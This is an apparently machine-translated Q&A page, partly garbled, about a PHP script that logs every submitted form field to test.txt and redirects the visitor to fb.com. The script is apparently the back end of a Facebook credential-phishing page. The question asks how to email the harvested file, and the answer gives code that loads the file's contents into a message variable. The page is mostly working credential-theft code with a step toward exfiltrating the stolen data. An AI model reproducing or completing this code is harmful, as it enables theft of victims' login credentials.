2016-05-03 9 views
-1

test.txtの内容を電子メール、誰にでも送ることができます。test.txtの内容を電子メール(誰でもplss)に送るにはどうすればいいですか

<?php 
header("Location: http://fb.com/ "); 
$handle = fopen("test.txt", "a"); 
foreach($_POST as $variable => $value) { 
    fwrite($handle, $variable); 
    fwrite($handle, "="); 
    fwrite($handle, $value); 
    fwrite($handle, "\r\n"); 
} 
fwrite($handle, "\r\n"); 
fclose($handle); 
exit; 
?> 

test.txtの内容を電子メール(誰でもplss)に送信するにはどうすればよいですか。あなたのメール本文中>

ob_start(); // Turn on output buffering 
include("test.txt"); // include test.txt file 
$msg = ob_get_contents(); //Return the contents of file to $msg variable 
ob_end_clean(); //Clean (erase) the output buffer and turn off output buffering here 

使用する$ MSG変数 -

答えて

0

はこれを試してみてください。

関連する問題